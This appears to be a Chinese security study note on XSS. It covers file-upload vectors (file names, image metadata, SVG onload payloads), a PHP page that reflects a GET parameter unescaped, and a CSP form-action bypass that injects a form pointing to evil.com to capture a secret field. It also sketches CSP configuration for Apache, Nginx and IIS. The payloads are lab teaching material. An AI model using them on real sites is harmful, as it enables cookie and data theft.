xss之上传文件的xss,绕过csp,预警机制
xss
1.XSS姿势——文件上传XSS https://wooyun.x10sec.org/static/drops/tips-14915.html
总结:
1.1.文件名方式,原理:有些文件名可能反应在页面上,带有xss命令的文件可以起到攻击作用
实例:pikachu靶机文件上传后,会有提示文件名上传成功,将文件名修改成xss命令
1.2.metadata 原理:exiftool修改图片的-artlist属性引起xss
想象:上传图片后,显示图片的artlist属性,通过exiftool修改图片的属性
1.3.content 原理:可以上传svg文件的格式,内容带有<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>,上传后访问svg文件触发xss
实例:访问http://127.0.0.1/test.svg触发
1.4.sorce
1.touch xss.gif
2.vim xss.gif
3.<svg xmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)"/>
4.file xss.gif
5.访问
2.利用反射型XSS二次注入绕过CSP form-action限制
步骤
2.1 D:\phpStudy\WWW\xss\secret.php 页面代码如下:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
</body>
</html>
2.2 无csp,攻击者通过xss修改action
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
<script>
var form1=document.getElementsByTagName('form');
form1[0].setAttribute("action","http://www.baidu.com")
new_action=form1[0].getAttribute("action");
alert(new_action);
</script>
</body>
</html>
将http://www.baidu.com修改成攻击页面可以获取cookie信息和获取隐私信息如xiao_mi_mi
2.3 使用csp白名单策略+限制外部js的加载+不允许内联脚本
csp的配置:
Apache服务
在VirtualHost的httpd.conf文件或者.htaccess文件中加入以下代码
Header set Content-Security-Policy "default-src 'self';"
Nginx
在 server {}对象块中添加如下代码
add_header Content-Security-Policy "default-src 'self';";
IIS
web.config:中添加
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'self';" />
</customHeaders>
</httpProtocol>
</system.webServer>
2.4 攻击者修改页面
通过xss引入以下语句:
<div><form action='http://evil.com/wo_de_mi_mi.php'></div>
<form method='POST' id='subscribe' action='oo.html'>
测试这个页面,第二个form不起作用,此时提交action=www.baidu.com:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<div><form action='http://www.baidu.com'></div>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
</body>
</html>
2.5 CSP加上了form-action来限定form标签的action指向
from-action限制方法:
Content-Security-Policy: form-action <source> <source>
2.6 攻击者修改页面
攻击者通过几个<input>最终绕过csp
3 xss报警机制
3.1分前端数据库端后端来划分,
3.2 可以使用csp来防御
3.3 xss危害相对较少,数量可能多
xss之上传文件的xss,绕过csp,预警机制的更多相关文章
- FTP文件操作之上传文件
上传文件是一个比较常用的功能,前段时间就做了一个上传图片的模块.开始采用的是共享文件夹的方式,后来发现这种方法不太好.于是果断将其毙掉,后来选择采用FTP的方式进行上传.个人感觉FTP的方式还是比较好 ...
- 从零开始学安全(四十)●上传文件MIME类型绕过漏洞防御
MIME检测原理 服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的. php示例代码: if($_FILES['userfile']['type' ...
- react native 之上传文件
最近遇到react native中需要上传一些图片到后台.期间,找了一些第三方上传插件,感觉不太好用,要么只支持一个平台,要么会对其他第三方造成影响,实在无奈.只能直接使用fetch上传.其中上传文件 ...
- 转:python webdriver API 之上传文件
文件上传操作也比较常见功能之一,上传功能操作 webdriver 并没有提供对应的方法,关键上传文件的思路.上传过程一般要打开一个系统的 window 窗口,从窗口选择本地文件添加.所以,一般会卡在如 ...
- Django之上传文件
使用Form表单上传文件 upload.html <!DOCTYPE html> <html lang="en"> <head> <met ...
- Android WebView那些坑之上传文件
最近公司项目需要在WebView上调用手机系统相册来上传图片,开发过程中发现在很多机器上无法正常唤起系统相册来选择图片. 解决问题之前我们先来说说WebView上传文件的逻辑:当我们在Web页面上点击 ...
- Flask入门之上传文件到服务器
今天要做一个简单的页面,可以实现将文件 上传到服务器(保存在指定文件夹) #Sample.py # coding:utf-8 from flask import Flask,render_templa ...
- LoadRunner开发ftp协议接口之上传文件脚本
Action() { //建立一个ftp对象 FTP ftp1=0; //建立FTP连接并登录 ftp_logon_ex(&ftp1,"ftpLogon", "U ...
- jQuery插件之上传文件ajaxfileupload.js源码与使用
在网页应用中,一般会用到上传文件或者图片什么的到服务器,那么可以用ajaxfileupload.js,但是在使用ajaxfileupload.js时候,当服务器返回的json带有&符号的时候, ...
随机推荐
- H5本地存储(转)
H5本地存储 一.本地存储由来的背景 众所周知Html4时代Cookie的大小.格式.存储数据格式等限制,网站应用如果想在浏览器端存储用户的部分信息,那么只能借助于Cookie.但是 ...
- Python hashlib加密模块
hashlib模块 简介: hashlib模块是一个提供了字符串加密功能的模块,包含MD5和SHA的加密算法.具体的加密支持有: MD5,sha1,sha224,sha256, sha384, sha ...
- asp.net core-15.Individual authentication 模板
在visual studio code执行dotnet new mvc --help 可以查看执行命令 visual studio code先创建一个mvc的项目 dotnet new mvc -au ...
- jacascript Math (算数)对象
前言:这是笔者学习之后自己的理解与整理.如果有错误或者疑问的地方,请大家指正,我会持续更新! 实际应用中用的比较多的有:round(); random(); floor(); ceil(); 其次还有 ...
- DP动态规划学习笔记——高级篇上
说了要肝的怎么能咕咕咕呢? 不了解DP或者想从基础开始学习DP的请移步上一篇博客:DP动态规划学习笔记 这一篇博客我们将分为上中下三篇(这样就不用咕咕咕了...),上篇是较难一些树形DP,中篇则是数位 ...
- hdu 2544 Dijstra模板题
最短路 Time Limit: 5000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total Submiss ...
- Mybatis分页的方式以及实现
方式 分页的分类: 1.物理分页:只从数据库中查询当前页的数据 优点:不占用很多内存 缺点:效率比价低(相比于逻辑分页) 2.逻辑分页:从数据库将所有记录查询出来,存储到内存中,展示当前页,然后数 ...
- 改善C#程序的方法
写在开头: http://www.cnblogs.com/luminji 157个建议_勘误表 一:属性 属性和方法一样.也可以是virtual和abstract. 条款2:运行时常量(read ...
- XML-RPC-3XML-RPC 与 XML-RPC 服务器类
http://codeigniter.org.cn/user_guide/libraries/xmlrpc.html XML-RPC 与 XML-RPC 服务器类 CodeIgniter 的 XML- ...
- JS基础_this
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...